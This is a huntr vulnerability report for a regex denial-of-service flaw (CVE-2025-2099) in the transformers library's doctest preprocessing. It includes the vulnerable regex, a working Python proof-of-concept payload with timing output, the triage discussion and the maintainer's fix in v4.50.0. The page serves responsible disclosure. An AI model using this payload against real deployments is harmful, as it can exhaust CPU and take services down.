

Regular expression Denial of Service - ReDoS in [huggingface/transformers](#)

✓ Valid

Reported on Feb 11th 2025

Description

The `preprocess_string()` function in the `transformers.testing_utils` module uses a regular expression to process code blocks in docstrings. This regular expression has the following structure:

```
codeblock_pattern = r"(```(?:python|py)\s*\n\s*>>> )((?:.*?\n)*?.*?```)"
```

The segment `((?:.*?\n)*?.*?)` contains nested quantifiers, which can lead to exponential backtracking when the input string contains a large number of newline characters (`\n`). This can be exploited by providing a specially crafted payload, resulting in a Regular Expression Denial of Service (ReDoS) attack.

Affected Code

File: [testing_utils.py#L2639](#)

```
def preprocess_string(string, skip_cuda_tests):
    """Prepare a docstring or a `.md` file to be run by doctest.

    The argument `string` would be the whole file content if it is a `.md` file. For
    its docstring. In each case, it may contain multiple python code examples. If `
    cuda` stuff is detective (with a heuristic), this method will return an empty st
    `string`.
    """
    codeblock_pattern = r"(```(?:python|py)\s*\n\s*>>> )((?:.*?\n)*?.*?```)"
    codeblocks = re.split(re.compile(codeblock_pattern, flags=re.MULTILINE | re.DOT
    is_cuda_found = False
    for i, codeblock in enumerate(codeblocks):
        if "load_dataset(" in codeblock and "# doctest: +IGNORE_RESULT" not in code
            codeblocks[i] = re.sub(r(">>> .*load_dataset\(.\)", r"\1 # doctest: +IG
        if (
            (">>>" in codeblock or "... " in codeblock)
            and re.search(r"cuda|to\(\0\)|device=0", codeblock)
            and skip_cuda_tests
        ):
            is_cuda_found = True
```

```
break
```

```
modified_string = ""
if not is_cuda_found:
    modified_string = "".join(codeblocks)

return modified_string
```

The above regular expression uses nested quantifiers `((?:.*?\n)*?)`, causing the regex engine to attempt numerous matching possibilities (backtracking) when processing an input with a large number of lines.

An attacker could supply a string containing many newline characters after the `>>>` prompt (e.g., `"""`py\n>>> " + ("\n" * N))`), significantly increasing the processing time of the `preprocess_string()` function. This could lead to a Denial-of-Service (DoS) attack in environments where this function is used, such as when running `doctest` in CI/CD pipelines.

Proof of Concept

```
python -m venv venv
source venv/bin/activate
```

Install requirement

```
pip install transformers
```

Load model and run poc script:

```
import re
import time

import doctest
from transformers.testing_utils import HfDocTestParser

parser = HfDocTestParser()

for i in range(1, 50):
    payload = """`py\n>>> " + ("\n" * i)

    start = time.time()
    parsed = parser.parse(payload)
    end = time.time()

    print(f"Execution time: {end - start:.6f} s , iteration (i={i})")
```

Result:

```
(venv) taiwhis@taiwhis:~/tools/exp_transformers1$ python3 1.py
```

```
Execution time: 0.000221 s , iteration (i=1)
Execution time: 0.000025 s , iteration (i=2)
Execution time: 0.000019 s , iteration (i=3)
Execution time: 0.000016 s , iteration (i=4)
Execution time: 0.000017 s , iteration (i=5)
Execution time: 0.000017 s , iteration (i=6)
Execution time: 0.000031 s , iteration (i=7)
Execution time: 0.000026 s , iteration (i=8)
Execution time: 0.000040 s , iteration (i=9)
Execution time: 0.000068 s , iteration (i=10)
Execution time: 0.000160 s , iteration (i=11)
Execution time: 0.000242 s , iteration (i=12)
Execution time: 0.000474 s , iteration (i=13)
Execution time: 0.000934 s , iteration (i=14)
Execution time: 0.001863 s , iteration (i=15)
Execution time: 0.003644 s , iteration (i=16)
Execution time: 0.007295 s , iteration (i=17)
Execution time: 0.014327 s , iteration (i=18)
Execution time: 0.028434 s , iteration (i=19)
Execution time: 0.056095 s , iteration (i=20)
Execution time: 0.112902 s , iteration (i=21)
Execution time: 0.223862 s , iteration (i=22)
Execution time: 0.458759 s , iteration (i=23)
Execution time: 0.894250 s , iteration (i=24)
Execution time: 1.867155 s , iteration (i=25)
Execution time: 3.767656 s , iteration (i=26)
Execution time: 7.552886 s , iteration (i=27)
Execution time: 14.963444 s , iteration (i=28)
Execution time: 29.914568 s , iteration (i=29)
Execution time: 59.220219 s , iteration (i=30)
Execution time: 120.631034 s , iteration (i=31)
Execution time: 235.252985 s , iteration (i=32)
Execution time: 464.306808 s , iteration (i=33)
Execution time: 911.279706 s , iteration (i=34)
.....
```

When running the above script, you will notice that the processing time of `parser.parse(payload)` doubles as the number of blank lines added after `>>>` increases. For instance, when the number of iterations reaches `50`, the computation would take `731.61` days to complete. This clearly illustrates the backtracking effect of the regular expression and confirms the feasibility of exploiting the ReDoS vulnerability.

```
bash$ ps -p 1896709 -o pid,%cpu,cmd
PID      %CPU  CMD
1896709   100  python3 1.py
```

Some similar huntr reports

- [Regular expression Denial of Service - ReDoS in huggingface/transformers](#)
- [Regular expression Denial of Service - ReDoS in huggingface/transformers](#)

- [Regular expression Denial of Service - ReDoS in kubeflow/kubeflow](#)
- [Inefficient Regular Expression Complexity in fb55/nth-check](#)
- [Inefficient Regular Expression Complexity in chalk/ansi-regex](#)
- [Inefficient Regular Expression Complexity in ampproject/amphtml](#)

Credit

- TaiPhung217 from OneMount Group

Impact

An attacker can exploit this by providing maliciously crafted input strings. This forces the application into intensive processing, resulting in:

- High CPU usage
- Potential application downtime Effectively, this creates a Denial of Service (DoS) scenario.

References

- [How to fix a ReDoS](#)
- [Regular_expression_Denial_of_Service_-_ReDoS](#)

⚙️ We are processing your report and will contact the [huggingface/transformers](#) team within 24 hours. a year ago

huntr-helper commented a year ago

Admin

This report was determined to possibly be out of scope or have a high likelihood of being marked as informative.

Please review your report and the [Participation Guidelines](#).

These are the specific guidelines this report is in possible violation of:

- Vulnerabilities in code used for tests or example purposes.
- Vulnerabilities related to ci/cd pipelines
- Local redos (regular expression denial of service) vulnerabilities that are not remotely exploitable

taiphung217 commented a year ago

Researcher

Hi @huntr-helper

APIs or services using testing_utils remain vulnerable to exploitation by remote users. If these components are integrated into applications, an attacker could trigger the vulnerability by sending malicious input strings to the server, resulting in a Denial of Service (DoS).

Indirect Impact: Any application leveraging the Transformers library utilizes `transformers.testing_utils` to generate output predictions. In such cases, an attacker can exploit this vulnerability remotely.

Moreover, When increasing a payload chain, the execution time increases 2 times compared to before, so in production systems that process user input or large datasets—such as in chatbots, recommendation systems, or natural language processing services—the vulnerability could inadvertently be triggered, leading to increased CPU performance and unnecessary resource consumption.

Additionally, I referenced several related huntr reports that demonstrate the impact of ReDoS vulnerabilities on system performance.

taiphung217 commented a year ago

Researcher

Also, this is not a test code or example, this is a Transformers feature

Refer to the documentation: <https://huggingface.co/docs/transformers/en/testing>

taiphung217 commented a year ago

Researcher

I would like to add some similar vulnerabilities to the Occurrences of this report, can someone help me open the edit rights? thank you



A **huggingface/transformers** maintainer has acknowledged this report a year ago



The scheduled publication date was automatically extended from 12th May 2025 to 19th May 2025 due to the maintainers acknowledgement of the report a year ago



Michelle Habonneau validated this vulnerability a year ago

Hi, Thanks for reporting. We're currently working on a fix for this regex and for all others; we have plans into looking for a more long term solution for this type of vulnerability. Thanks again for bringing these to our attention and we'll follow up when the fix is applied soon.

\$ **taiphung217** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2025-2099 assigned to this report. a year ago

taiphung217 commented a year ago

Researcher

Thank you for your support.

Recently, I've also reviewed the new transformers code and found some additional locations with similar vulnerabilities. I will report them soon so that you can fix everything in one go.

Michelle Habonneau commented 10 months ago

Maintainer

Hi, A fix has been applied in <https://github.com/huggingface/transformers/pull/36648> and now in the latest version of Transformers: v4.50.0. Closing this report, thanks!



Michelle Habonneau marked this as fixed in 4.50.0 with commit 8cb522 10 months ago



The fix bounty has been dropped ✖



We have notified the **huggingface/transformers** maintainers about this report in their weekly follow-up 9 months ago



We have sent a warning to the **huggingface/transformers** team to inform them that this report will be published in 48 hours 8 months ago



This vulnerability has now been published 8 months ago



CVE-2025-2099 has now been published 8 months ago

[Sign in](#) to join this conversation

CVE

CVE-2025-2099

Published

Vulnerability Type

CWE-1333: Inefficient Regular Expression Complexity

Severity

Medium (5.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	Low

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

v4.48.3 (latest)

Visibility

Public

Status

Fixed

Disclosure Bounty

\$125

Fix Bounty

\$31.25

Found by



taiphung217

@taiphung217

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)